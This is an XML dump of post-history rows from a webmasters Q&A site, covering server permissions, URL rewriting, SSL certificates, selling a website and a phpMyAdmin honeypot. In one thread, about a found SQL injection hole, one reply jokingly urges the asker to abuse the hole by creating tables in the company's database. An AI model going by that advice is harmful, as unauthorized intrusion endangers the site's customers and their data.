  <row Id="31547" PostHistoryTypeId="5" PostId="10580" RevisionGUID="cb0310ca-6d04-4a0d-83fc-ebccf8c9ee54" CreationDate="2011-05-11T06:47:54.653" UserId="1064" Comment="Per user request" Text="Looks like there is something wrong with Google's cached copy of the site - the &quot;Cached&quot; link throws an error on that search.&#xD;&#xA;&#xD;&#xA;Do you see any crawl errors or inconsistencies in Google Webmaster Tools for the domain?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;Google's cache of the site shows the content from your primary domain - my best guess would be that this issue will resolve itself once Googlebot revisits your domain *unless* there is an issue with the site's configuration.&#xD;&#xA;&#xD;&#xA;If you do not have administrative access to  you should investigate the site's configuration with the administrator: if requests with a Googlebot user agent show irregular content lengths in the webserver logs, check the site's scripts and webserver configuration for any directives which are conditionally presenting the main site's content. (could be a case of un/intentional [page cloaking][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cloaking" />
  <row Id="31548" PostHistoryTypeId="2" PostId="13624" RevisionGUID="c98bb480-ff5b-43f8-8245-96fc713ddfdd" CreationDate="2011-05-11T07:34:43.033" UserId="6597" Text="Ouch, please avoid chmod 777, it's like having your door open with the key in the lock.&#xD;&#xA;&#xD;&#xA;Error 13 is related to permission errors. In Linux, a folder needs a execute-bit to allow descending in it. So, make sure the permissions on `/media/data` and `/media/data/jm` is set to 755 OR 700 if the user running apache is the owner of the folders.&#xD;&#xA;&#xD;&#xA;`root` is the god in Linux systems, you've presumably run the chmod command using `sudo` (`super-user do ...`). The apache process just needs to be able to read the files (and write if you're using a dynamic language which needs to write to a cache for example). In Ubuntu, this user is `www-data` (not `www-root`).&#xD;&#xA;&#xD;&#xA;To restore the permissions and make Apache own the files, run:&#xD;&#xA;&#xD;&#xA;     sudo chown -R www-data /media/data/jm/www&#xD;&#xA;     sudo find /media/data/jm/www -type f -exec chmod 600 {} \;&#xD;&#xA;     sudo find /media/data/jm/www -type d -exec chmod 700 {} \;&#xD;&#xA;The first command changes the ownership to `www-data`, the second changes file permissions to 600 (read-write for owner) and the third 700 for directories.&#xD;&#xA;&#xD;&#xA;`/media/data` sounds like you've created a second partition. Make sure the filesystem support Linux file permissions. Ext2, ext3 and ext4 do. NTFS and FAT32 do not. You can check that by running `sudo file -s $(readlink -f /dev/disk/by-label/data)`." />
  <row Id="31549" PostHistoryTypeId="5" PostId="13610" RevisionGUID="04b07ef0-7457-4917-b0a2-cc0cb9c1d76b" CreationDate="2011-05-11T08:46:09.547" UserId="7401" Comment="deleted 2 characters in body" Text="Paul is right, once you are in the report you can browse to other pages through a seperate tab and wait for in-page analytics to load." />
  <row Id="31550" PostHistoryTypeId="25" PostId="13620" RevisionGUID="da60a8d4-e4c6-44ae-864d-1f735a1a5d80" CreationDate="2011-05-11T09:11:45.800" Comment="http://twitter.com/#!/StackWebmasters/status/68241874783182849" />
  <row Id="31551" PostHistoryTypeId="2" PostId="13625" RevisionGUID="ef5bd215-1c2b-4842-a08f-5e67cb130311" CreationDate="2011-05-11T09:41:18.133" UserId="7423" Text="When developing pages, I like to load them in my browser locally to see how they look rather than have to deploy them to the server every time. I'm using Lift and server deployment takes a few seconds, and just running Lift puts a heavy strain on my old laptop. The problem is absolute paths e.g. */css/main.css*, while correct on the server, will cause the browser to search from the root filesystem e.g. *file:///css/main.css* when I open the page locally.&#xD;&#xA;&#xD;&#xA;Is there a technique to be able to work with absolute paths, yet somehow trick the browser into using a different base to calculate the paths from when loading the pages locally? A browser plug-in perhaps?" />
  <row Id="31552" PostHistoryTypeId="1" PostId="13625" RevisionGUID="ef5bd215-1c2b-4842-a08f-5e67cb130311" CreationDate="2011-05-11T09:41:18.133" UserId="7423" Text="Link absolute URIs correctly when loading pages locally" />
  <row Id="31553" PostHistoryTypeId="3" PostId="13625" RevisionGUID="ef5bd215-1c2b-4842-a08f-5e67cb130311" CreationDate="2011-05-11T09:41:18.133" UserId="7423" Text="&lt;html&gt;&lt;url&gt;" />
  <row Id="31554" PostHistoryTypeId="2" PostId="13626" RevisionGUID="8fafe5f9-ace2-4a4c-9665-1dc46772dd7d" CreationDate="2011-05-11T10:06:54.343" UserId="1643" Text="You probably want to make your browser run a small webserver: https://addons.mozilla.org/en-US/firefox/addon/browser-server/" />
  <row Id="31555" PostHistoryTypeId="5" PostId="13535" RevisionGUID="4227ed58-df2b-4537-8482-217142114b03" CreationDate="2011-05-11T10:16:17.327" UserId="138" Comment="bumpity bump" Text="I have a system deployed on IIS7, that is using IIS's rewrite engine.&#xD;&#xA;&#xD;&#xA;I am attempting to rewrite the middle of the URL to change an `AppName` variable. For example:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;http://staging.example.com/AppFolder/appdll.dll?APPNAME=&lt;b&gt;MyApp&lt;/b&gt;&amp;PRGNAME=SomeProgram&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;needs to become:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;http://staging.example.com/AppFolder/appdll.dll?APPNAME=&lt;b&gt;MyAppStaging&lt;/b&gt;&amp;PRGNAME=SomeProgram&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I have in my `web.config`&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-xml --&gt;&#xD;&#xA;&#xD;&#xA;    &lt;rule name=&quot;Convert to staging&quot;&gt;&#xD;&#xA;        &lt;match url=&quot;^(.*)APPNAME=MyApp(.*)&quot; /&gt;&#xD;&#xA;        &lt;action type=&quot;Rewrite&quot; url=&quot;{R:1}APPNAME=MyAppStaging{R:2}&quot; logRewrittenUrl=&quot;true&quot; /&gt;&#xD;&#xA;    &lt;/rule&gt;&#xD;&#xA;&#xD;&#xA;And according to the URL Rewrite test tool, it should work&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;But as I'm sure you can tell by now, it's not working. The requests just go through as the original, un-rewritten.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/S66oY.png" />
  <row Id="31556" PostHistoryTypeId="25" PostId="13625" RevisionGUID="64a170f2-ba00-420c-9a3c-20b3415a33a2" CreationDate="2011-05-11T12:11:46.307" Comment="http://twitter.com/#!/StackWebmasters/status/68287176118517760" />
  <row Id="31557" PostHistoryTypeId="6" PostId="12209" RevisionGUID="e60f7c0d-318a-49ac-9bcc-217274661fb4" CreationDate="2011-05-11T12:19:32.043" UserId="6842" Comment="Added tags" Text="&lt;ecommerce&gt;&lt;asp.net&gt;&lt;asp.net-mvc&gt;&lt;.net&gt;" />
  <row Id="31558" PostHistoryTypeId="24" PostId="12209" RevisionGUID="e60f7c0d-318a-49ac-9bcc-217274661fb4" CreationDate="2011-05-11T12:19:32.043" Comment="Proposed by 6842 approved by 108 edit id of 266" />
  <row Id="31562" PostHistoryTypeId="6" PostId="13602" RevisionGUID="27fa47f6-b5f1-4466-9b87-bb73086205ae" CreationDate="2011-05-11T12:28:03.317" UserId="108" Comment="edited tags" Text="&lt;legal&gt;&lt;law&gt;" />
  <row Id="31563" PostHistoryTypeId="10" PostId="13602" RevisionGUID="b3dc727a-3b7b-4a8b-bf1b-55708f7cfee4" CreationDate="2011-05-11T12:30:10.287" UserId="108" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="31564" PostHistoryTypeId="5" PostId="6325" RevisionGUID="7dd82e05-de5f-4c1d-872d-e6dced5300dc" CreationDate="2011-05-11T12:32:50.767" UserId="108" Comment="edited body" Text="Hi can you tell me any website where  I can find a template for my Social networking site (paid or free doesn't matter) in java ? &#xD;&#xA;&#xD;&#xA;I browsed joomla and drupal but they are in PHP. Please tell me if there is any place where i can find java site templates" />
  <row Id="31565" PostHistoryTypeId="5" PostId="10226" RevisionGUID="38f167ed-d46a-4293-ba6b-b4ef2766a72f" CreationDate="2011-05-11T12:33:27.383" UserId="108" Comment="deleted 14 characters in body" Text="I'd like to start some little private social network and I'd need a web design, I looked throughout themeforest but did not found one. (There's only blogs/portfolio templates).&#xD;&#xA;&#xD;&#xA;Do you know any good place where I could buy a pre-made social network html template?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31566" PostHistoryTypeId="5" PostId="12758" RevisionGUID="31f28bd4-d33c-4ca7-8041-5596e0c773be" CreationDate="2011-05-11T12:35:01.810" UserId="108" Comment="deleted 99 characters in body" Text="I'll be releasing a commercial CMS at some point this year and the configuration areas make heavy use of the jquery plugin [iButton][1] which mimiks the iOS toggle button. So I want to know if I will be liable to pay patent fees to Apple for the use of that button style.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.givainc.com/labs/ibutton_jquery_plugin.htm" />
  <row Id="31567" PostHistoryTypeId="10" PostId="12758" RevisionGUID="840be9a0-6546-4e54-bfdd-b5da6bac07bc" CreationDate="2011-05-11T12:39:25.210" UserId="108" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="31572" PostHistoryTypeId="6" PostId="13621" RevisionGUID="e7cf72ce-bc85-4deb-b055-13fdd84a748f" CreationDate="2011-05-11T13:44:11.110" UserId="1253" Comment="modified tags" Text="&lt;domains&gt;&lt;email&gt;&lt;legal&gt;&lt;transfer&gt;" />
  <row Id="31573" PostHistoryTypeId="6" PostId="13537" RevisionGUID="4b9585e2-390e-4369-9035-af53aec5c575" CreationDate="2011-05-11T13:46:03.667" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;vps&gt;&lt;looking-for-hosting&gt;" />
  <row Id="31574" PostHistoryTypeId="2" PostId="13627" RevisionGUID="89f55269-88fc-4582-b2c3-976e5116de9e" CreationDate="2011-05-11T14:05:11.287" UserId="7428" Text="I found (ridiculously easy to discover) a SQL injection bug on a public facing website. I strongly suspect that in the same database are stored credit card numbers of their customers (although not mine).&#xD;&#xA;&#xD;&#xA;I wrote to a service email address but got no response and the site is still on with the same error.&#xD;&#xA;&#xD;&#xA;What should I do now? Is there any legal requirement for the company to respond/to do something (we are talking about the German branch of an American company)?" />
  <row Id="31575" PostHistoryTypeId="1" PostId="13627" RevisionGUID="89f55269-88fc-4582-b2c3-976e5116de9e" CreationDate="2011-05-11T14:05:11.287" UserId="7428" Text="I found a SQL injection bug on a public facing website, what should I do?" />
  <row Id="31576" PostHistoryTypeId="3" PostId="13627" RevisionGUID="89f55269-88fc-4582-b2c3-976e5116de9e" CreationDate="2011-05-11T14:05:11.287" UserId="7428" Text="&lt;security&gt;&lt;legal&gt;&lt;web-security&gt;" />
  <row Id="31577" PostHistoryTypeId="2" PostId="13628" RevisionGUID="77debbb4-24c4-45d1-86fd-504e8ff1f4de" CreationDate="2011-05-11T14:24:34.033" UserId="6342" Text="Try and get in touch with the people who created the website as opposed to a normal support line which will be more tailored to the product/service they provide and won't know what to do with the issue you raise. Maybe contact them and specifically ask to be transferred to the people in charge of the website, they may very well crap themselves when they realise what can be done.&#xD;&#xA;&#xD;&#xA;If that fails, try looking at the domains whois records for a technical email, maybe a humans.txt or just look at the source code for a meta tag.&#xD;&#xA;&#xD;&#xA;One thing you should **not** do is use the exploit to gather any data - even as an example, you could get is just as much trouble with the law as if you hacked the site yourself." />
  <row Id="31578" PostHistoryTypeId="2" PostId="13629" RevisionGUID="7aa7de35-d9a5-4164-b4c0-5f88ea8ec69c" CreationDate="2011-05-11T14:45:06.347" UserId="7429" Text="In email marketing it's useful to provide a statistic about messages that got across as spam to the people that want to send an email campaign.&#xD;&#xA;&#xD;&#xA;From what I know so far, it isn't possible to check if an email sent landed in a spam folder. Is there anything that I'm missing? Even something that will work a small percent of the time will do.&#xD;&#xA;&#xD;&#xA;Any help is much appreciated." />
  <row Id="31579" PostHistoryTypeId="1" PostId="13629" RevisionGUID="7aa7de35-d9a5-4164-b4c0-5f88ea8ec69c" CreationDate="2011-05-11T14:45:06.347" UserId="7429" Text="is there any way to check if an email sent landed in a spam folder?" />
  <row Id="31580" PostHistoryTypeId="3" PostId="13629" RevisionGUID="7aa7de35-d9a5-4164-b4c0-5f88ea8ec69c" CreationDate="2011-05-11T14:45:06.347" UserId="7429" Text="&lt;email&gt;&lt;spam&gt;&lt;bulk-email&gt;" />
  <row Id="31581" PostHistoryTypeId="2" PostId="13630" RevisionGUID="d808063d-505b-40d0-aa05-9633d26ff0c1" CreationDate="2011-05-11T14:46:02.813" UserId="19" Text="I have run a hobby website for about seven years and it has gained a lot of traffic. I was recently approached with a purchase inquiry a company which appears to be reputable with a price I am happy with.&#xD;&#xA;&#xD;&#xA;What things to I need to be aware of in order to not get screwed or scammed?" />
  <row Id="31582" PostHistoryTypeId="1" PostId="13630" RevisionGUID="d808063d-505b-40d0-aa05-9633d26ff0c1" CreationDate="2011-05-11T14:46:02.813" UserId="19" Text="What do I need to know about selling a website?" />
  <row Id="31583" PostHistoryTypeId="3" PostId="13630" RevisionGUID="d808063d-505b-40d0-aa05-9633d26ff0c1" CreationDate="2011-05-11T14:46:02.813" UserId="19" Text="&lt;transfer&gt;&lt;selling&gt;" />
  <row Id="31584" PostHistoryTypeId="2" PostId="13631" RevisionGUID="61a60260-7ef3-4e87-b1df-ed4d26a28594" CreationDate="2011-05-11T14:46:33.327" UserId="7430" Text="http://www.stupidoutgoingmessage.com&#xD;&#xA;&#xD;&#xA;Any reason why the sounds won't finish loading on this site? Some of them will play the entire clip, other cut off in the beginning. The files are only 40-60kb, except for &quot;The Dude&quot; which is about 160 kb.  Thank you!" />
  <row Id="31585" PostHistoryTypeId="1" PostId="13631" RevisionGUID="61a60260-7ef3-4e87-b1df-ed4d26a28594" CreationDate="2011-05-11T14:46:33.327" UserId="7430" Text="My sound clips will not load completely" />
  <row Id="31586" PostHistoryTypeId="3" PostId="13631" RevisionGUID="61a60260-7ef3-4e87-b1df-ed4d26a28594" CreationDate="2011-05-11T14:46:33.327" UserId="7430" Text="&lt;embed&gt;&lt;sound&gt;" />
  <row Id="31587" PostHistoryTypeId="2" PostId="13632" RevisionGUID="24f276ff-28b3-4f7d-b6c3-7d57ca8e4967" CreationDate="2011-05-11T14:51:40.763" UserId="4922" Text="I have inherited an old website whose security certificate causes this error when viewed with IE.&#xD;&#xA;&#xD;&#xA;&quot;The name on the security certificate is invalid or does not match the name of the site&quot;&#xD;&#xA;&#xD;&#xA;Is there any easy way to fix this without having to get a new certificate?" />
  <row Id="31588" PostHistoryTypeId="1" PostId="13632" RevisionGUID="24f276ff-28b3-4f7d-b6c3-7d57ca8e4967" CreationDate="2011-05-11T14:51:40.763" UserId="4922" Text="Issue with security certificate name" />
  <row Id="31589" PostHistoryTypeId="3" PostId="13632" RevisionGUID="24f276ff-28b3-4f7d-b6c3-7d57ca8e4967" CreationDate="2011-05-11T14:51:40.763" UserId="4922" Text="&lt;ssl-certificate&gt;" />
  <row Id="31590" PostHistoryTypeId="2" PostId="13633" RevisionGUID="c8972fdb-5146-4582-b86c-498f09cbf4fc" CreationDate="2011-05-11T14:55:24.433" UserId="1643" Text="Register the name on the certificate as a new domain (if available) and point it at the old website. However that probably doesn't count as &quot;easy&quot;." />
  <row Id="31591" PostHistoryTypeId="2" PostId="13634" RevisionGUID="7c62040f-7f80-48f7-aaf0-9f8482e475fc" CreationDate="2011-05-11T14:56:44.657" UserId="1253" Text="A common reason for this to occur is the SSL certificate is for example.com and the URL being accessed is www.example.com or vice versa. With the exception of wildcard certificates, they are issued for specific domains/subdomains and even just adding or removing the 'www' will cause issues.&#xD;&#xA;&#xD;&#xA;If this is the case for your website an easy fix is to automatically forward users to the 'www' or 'non-www' URL with a 301 redirect. This can be done with a simple snippet in .htaccess for Apache and probably is just as easy in IIS." />
  <row Id="31592" PostHistoryTypeId="5" PostId="13632" RevisionGUID="6d259fd3-6c3c-4fb5-b2cb-5d0c2a8dd5f8" CreationDate="2011-05-11T14:58:50.237" UserId="4922" Comment="some more info" Text="I have inherited an old website whose security certificate causes this error when viewed with IE.&#xD;&#xA;&#xD;&#xA;&quot;The name on the security certificate is invalid or does not match the name of the site&quot;&#xD;&#xA;&#xD;&#xA;Is there any easy way to fix this without having to get a new certificate?&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;Some more info. This an internal website, though a couple of other companies have secure access to out networks DMZ to access it." />
  <row Id="31593" PostHistoryTypeId="2" PostId="13635" RevisionGUID="24fb09e0-49da-415c-9fb8-191d99666fdc" CreationDate="2011-05-11T15:10:36.133" UserId="1643" Text="If the email gateway rejects it as spam it may return it with SMTP code 571. For Google's Postini email service this means it thinks it's spam: http://www.google.com/support/appsecurity/bin/answer.py?hl=en&amp;answer=134416&#xD;&#xA;&#xD;&#xA;However 571 can be used for other reasons, like the email gateway thinks the incoming message has a virus." />
  <row Id="31594" PostHistoryTypeId="25" PostId="13627" RevisionGUID="397e2cab-b72e-4d92-8136-56b23a770170" CreationDate="2011-05-11T15:11:46.040" Comment="http://twitter.com/#!/StackWebmasters/status/68332472496168961" />
  <row Id="31595" PostHistoryTypeId="5" PostId="13633" RevisionGUID="37dc29c4-5815-4157-957b-3769c68e9ec0" CreationDate="2011-05-11T15:12:14.730" UserId="1643" Comment="Updated in the light of updated question." Text="If it's not the www/non-www issue that John mentions then you could put an entry in your DNS for the name that's on the certificate, but you'll have to tell people to use the new name." />
  <row Id="31596" PostHistoryTypeId="2" PostId="13636" RevisionGUID="89b2e36d-989c-49be-be96-2dd12550f4ab" CreationDate="2011-05-11T15:15:44.383" UserId="1253" Text="From [here][1]:&#xD;&#xA;&#xD;&#xA; - Determine the price of the website you are going to sell. The price shouldn't be very high and must be stable.&#xD;&#xA; - You must sign a Non-Compete Clause (NCC). This will show that you are a serious seller.&#xD;&#xA; - Continue to run your website efficiently.&#xD;&#xA; - Share a lot of private and confidential information. If you give less information, buyers might be a bit reluctant. On the other hand if you give more information, the offers will be more.&#xD;&#xA; - You must keep your tax filings, financial reports, budgets and business plans up to date.&#xD;&#xA; - You should take every effort for providing accurate details because every serious offer will demand a high level of accuracy, especially with regard to cash statements.&#xD;&#xA; - If you have mixed the revenue from several websites, separate them unless you intend to sell all of them together.&#xD;&#xA; - Eliminate complications in your website before you try to sell it.&#xD;&#xA; - You must keep audited financial statements because it indicates the future performance of your business. It also helps the buyers to get financing facility from banks.&#xD;&#xA; - Before you sell your website, make sure that you provide all vital information about your website including search engine ranking reports, profit and loss statements, traffic reports, and summary of the website business model.&#xD;&#xA;&#xD;&#xA;I'd also like to add:&#xD;&#xA;&#xD;&#xA;- Use an escrow service to handle the transaction. That way both buyer and seller are 100% sure the transaction is honest and fair.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.buydomains.com/domain-resources/domain-selling/tips-on-selling-websites.jsp" />
  <row Id="31597" PostHistoryTypeId="5" PostId="13636" RevisionGUID="782ed3db-2932-4fa2-9355-f4d216d912f9" CreationDate="2011-05-11T15:31:21.803" UserId="1253" Comment="deleted 1449 characters in body; added 48 characters in body" Text="Use an [escrow servic][1]e to handle the transaction. That way both buyer and seller are 100% sure the transaction is honest and fair.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.escrow.com/index.asp" />
  <row Id="31598" PostHistoryTypeId="5" PostId="13632" RevisionGUID="d80aa4d7-b70d-4457-ace4-32124a1cd551" CreationDate="2011-05-11T15:36:24.013" UserId="4922" Comment="added 4 characters in body" Text="I have inherited an old website whose security certificate causes this error when viewed with IE.&#xD;&#xA;&#xD;&#xA;&quot;The name on the security certificate is invalid or does not match the name of the site&quot;&#xD;&#xA;&#xD;&#xA;Is there any easy way to fix this without having to get a new certificate?&#xD;&#xA;&#xD;&#xA;**Edit**:&#xD;&#xA;Some more info. This an internal website, though a couple of other companies have secure access to out networks DMZ to access it." />
  <row Id="31599" PostHistoryTypeId="2" PostId="13637" RevisionGUID="96b0b80f-ea96-4f31-b5c6-94f880cc314b" CreationDate="2011-05-11T17:22:24.317" UserId="118" Text="I'm trying to figure out whether I should set up a honeypot system with phpMyAdmin (site gets hits all the time with people spidering for insecurities with that app).&#xD;&#xA;&#xD;&#xA;My thought was to create a honeypot php script that would mimic a phpMyAdmin login, and then blacklist ips that hit that url (and aren't already whitelisted).  I would then add the appropriate urls to the robots.txt so that spiders that actually respect my robots.txt wouldn't be caught by the blacklist.&#xD;&#xA;&#xD;&#xA;Are there disadvantages to this approach, do legit robots sometimes not respect robots.txt, are there any problems with this that I should consider in advance?" />
  <row Id="31600" PostHistoryTypeId="1" PostId="13637" RevisionGUID="96b0b80f-ea96-4f31-b5c6-94f880cc314b" CreationDate="2011-05-11T17:22:24.317" UserId="118" Text="Disadvantages of a phpMyAdmin honeypot that causes ip blacklisting and robots.txt disallow/exclusion of the honeypot?" />
  <row Id="31601" PostHistoryTypeId="3" PostId="13637" RevisionGUID="96b0b80f-ea96-4f31-b5c6-94f880cc314b" CreationDate="2011-05-11T17:22:24.317" UserId="118" Text="&lt;security&gt;&lt;robots&gt;&lt;ip&gt;&lt;blacklist&gt;" />
  <row Id="31602" PostHistoryTypeId="2" PostId="13638" RevisionGUID="6dbaa7d2-cf72-42e5-b85c-d4c0cf2ef7b9" CreationDate="2011-05-11T17:30:59.753" UserId="7435" Text="I've been looking for roman fonts for my website, and I've found that all of them end up looking aliased and jaggy on windows (point your browser at http://tustincommercial.com to see what I mean). &#xD;&#xA;&#xD;&#xA;Is there a good way to find fonts what won't alias on the web? I'm not averse to paying for fonts, but obviously I don't want to pay for fonts which aren't going to look good.&#xD;&#xA;&#xD;&#xA;Any suggestions or ways of ameliorating this problem will be very much appreciated." />
  <row Id="31603" PostHistoryTypeId="1" PostId="13638" RevisionGUID="6dbaa7d2-cf72-42e5-b85c-d4c0cf2ef7b9" CreationDate="2011-05-11T17:30:59.753" UserId="7435" Text="How to find fonts that don't alias in Windows" />
  <row Id="31604" PostHistoryTypeId="3" PostId="13638" RevisionGUID="6dbaa7d2-cf72-42e5-b85c-d4c0cf2ef7b9" CreationDate="2011-05-11T17:30:59.753" UserId="7435" Text="&lt;fonts&gt;" />
  <row Id="31605" PostHistoryTypeId="2" PostId="13639" RevisionGUID="5b2df8c8-0a1e-4bee-98fe-4095d3a00644" CreationDate="2011-05-11T17:37:49.927" UserId="7436" Text="Sadly, most organizations are non-proactive to issues like these.  One of the sites I've worked on allows all sql attacks, the only protection is the user account does not allow anything but &quot;select from  &quot;&#xD;&#xA;&#xD;&#xA;__THE FUN ANSWER ;)__  If you want real results, abuse the security hole.  That will get there attention alot faster,  like email them the result of one of your attacks.  Or say Subject line:  &quot;Hey check out the cool new tables I created in your database&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31606" PostHistoryTypeId="17" PostId="13641" RevisionGUID="01ae88e0-a5e3-4545-be5b-7ba4b6d85c68" CreationDate="2011-05-11T17:40:59.993" UserId="-1" Comment="from http://stackoverflow.com/questions/5968069/web-widget-and-seo/5968189#5968189" Text="" />
  <row Id="31607" PostHistoryTypeId="2" PostId="13641" RevisionGUID="ffaa3de9-5570-43db-9343-97355b10a770" CreationDate="2011-05-11T17:27:56.750" UserDisplayName="Blender" Text="I'd do the first approach.&#xD;&#xA;&#xD;&#xA;The `&lt;iframe&gt;` just seems overkill and the Google Gadgets approach loads the Widget via a `&lt;script&gt;` tag in the `&lt;body&gt;`, which won't be compatible with Google's web crawler." />
  <row Id="31608" PostHistoryTypeId="2" PostId="13640" RevisionGUID="68a02564-55c0-43f3-bffe-db11473b14b5" CreationDate="2011-05-11T17:15:30.750" UserDisplayName="Jeff" Text="I'm designing a voting widget that other people can put on their websites, and the widget will have links to my site (partly for functionality and partly for SEO).&#xD;&#xA;&#xD;&#xA;I'd like to design the widget such that my main [website][1], gets the SEO benefits, and I'm not sure which techniques for designing a widget would accomplish that.  Here is what I am thinking:&#xD;&#xA;&#xD;&#xA; - Creating a widget defined by `&lt;div&gt;` tags that people would embed in their web page -- This seems certain to give my site the SEO benefits, but it seems like it might be more work for the person using the widget to get it to work right and look nice.&#xD;&#xA; - Using an iframe -- I think that the iframe link would get the SEO benefit and not my website, which would be linked to from the contents of the iframe.&#xD;&#xA; - Google Gadget -- I don't know how this works yet.&#xD;&#xA;&#xD;&#xA;What would be the best way to design a web widget to maximize the SEO benefits for my website?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.OpenSTV.org" />
  <row Id="31609" PostHistoryTypeId="1" PostId="13640" RevisionGUID="68a02564-55c0-43f3-bffe-db11473b14b5" CreationDate="2011-05-11T17:15:30.750" UserDisplayName="Jeff" Text="web widget and SEO" />
  <row Id="31610" PostHistoryTypeId="3" PostId="13640" RevisionGUID="68a02564-55c0-43f3-bffe-db11473b14b5" CreationDate="2011-05-11T17:15:30.750" UserDisplayName="Jeff" Text="&lt;html&gt;&lt;iframe&gt;&lt;seo&gt;" />
  <row Id="31611" PostHistoryTypeId="17" PostId="13640" RevisionGUID="780b85a4-b8b2-4dfd-b033-a1deeabc26cc" CreationDate="2011-05-11T17:40:59.993" UserId="-1" Comment="from http://stackoverflow.com/questions/5968069/web-widget-and-seo" Text="" />
  <row Id="31612" PostHistoryTypeId="25" PostId="13630" RevisionGUID="dac5c1a2-b29d-4688-8d5e-546657c8a1bf" CreationDate="2011-05-11T18:11:46.897" Comment="http://twitter.com/#!/StackWebmasters/status/68377774611636224" />
  <row Id="31613" PostHistoryTypeId="5" PostId="13640" RevisionGUID="b0518533-5509-4886-b438-d1f9586e63e0" CreationDate="2011-05-11T18:28:13.817" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How good is it for SEO if you have a widget that lives on other sites?](http://webmasters.stackexchange.com/questions/12384/how-good-is-it-for-seo-if-you-have-a-widget-that-lives-on-other-sites)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm designing a voting widget that other people can put on their websites, and the widget will have links to my site (partly for functionality and partly for SEO).&#xD;&#xA;&#xD;&#xA;I'd like to design the widget such that my main [website][1], gets the SEO benefits, and I'm not sure which techniques for designing a widget would accomplish that.  Here is what I am thinking:&#xD;&#xA;&#xD;&#xA; - Creating a widget defined by `&lt;div&gt;` tags that people would embed in their web page -- This seems certain to give my site the SEO benefits, but it seems like it might be more work for the person using the widget to get it to work right and look nice.&#xD;&#xA; - Using an iframe -- I think that the iframe link would get the SEO benefit and not my website, which would be linked to from the contents of the iframe.&#xD;&#xA; - Google Gadget -- I don't know how this works yet.&#xD;&#xA;&#xD;&#xA;What would be the best way to design a web widget to maximize the SEO benefits for my website?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.OpenSTV.org" />
  <row Id="31614" PostHistoryTypeId="10" PostId="13640" RevisionGUID="0a36f399-de3a-4eaf-a2aa-05740df27a04" CreationDate="2011-05-11T18:28:13.083" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="31615" PostHistoryTypeId="2" PostId="13642" RevisionGUID="bebf12d6-0203-42e4-97e4-087b680d5f77" CreationDate="2011-05-11T18:37:20.607" UserId="4502" Text="Not really. It's the result of various properties of the font itself, and won't necessarily even happen at all sizes you might use them. You pretty much just have to try them out and see the results, use something you already see working on some other site, or hope that your webfont service produces screenshot sets &lt;a href=&quot;http://typekit.com/fonts/adelle-web&quot;&gt;like Typekit&lt;/a&gt;(see the &quot;browser samples&quot; tab)." />
  <row Id="31616" PostHistoryTypeId="2" PostId="13643" RevisionGUID="945ecc31-ba3d-409d-b2f1-4732850aeead" CreationDate="2011-05-11T18:44:18.787" UserId="1134" Text="So the fourth link in the right column (Board of Trustees Meeting Link) of the [website][1] I'm working is exhibiting some REALLY weird behavior. But only in IE8. When you mouse over it the page scrolls to the top of the page, or sometimes goes blank entirely for a few seconds. &#xD;&#xA;Any idea what's going on here? I've tried turning compatibility mode on and off, using strict/transitional 4.01 html doctype, and html 5 doctype declartions. The link is no different from other links on the page (programmatically). I've examined the code six ways to sunday and I can't figure out what's causing this. Any help would be appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mfrl.org/index.php" />
  <row Id="31617" PostHistoryTypeId="1" PostId="13643" RevisionGUID="945ecc31-ba3d-409d-b2f1-4732850aeead" CreationDate="2011-05-11T18:44:18.787" UserId="1134" Text="ie8 weirdness: Link jumps to top of the page on mouse over: What's going on?" />
  <row Id="31618" PostHistoryTypeId="3" PostId="13643" RevisionGUID="945ecc31-ba3d-409d-b2f1-4732850aeead" CreationDate="2011-05-11T18:44:18.787" UserId="1134" Text="&lt;html&gt;&lt;bugs&gt;&lt;internet-explorer-8&gt;" />
  <row Id="31619" PostHistoryTypeId="2" PostId="13644" RevisionGUID="3052ba30-c021-467f-b7e7-2c7fb5d9d911" CreationDate="2011-05-11T19:20:43.547" UserId="7435" Text="To debug this, open the page in IE8. Hit F12 to open developer tools. Click on the &quot;Script&quot; tab. Press the &quot;break all&quot; button. Hover over the link. The debugger breaks in the function called. &#xD;&#xA;&#xD;&#xA;I can't tell you why it's doing it, but I imagine you can figure out why that script is being called." />
  <row Id="31620" PostHistoryTypeId="11" PostId="13359" RevisionGUID="1a6078da-42b7-469f-b4bd-7d99cf0d61ff" CreationDate="2011-05-11T20:10:45.683" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
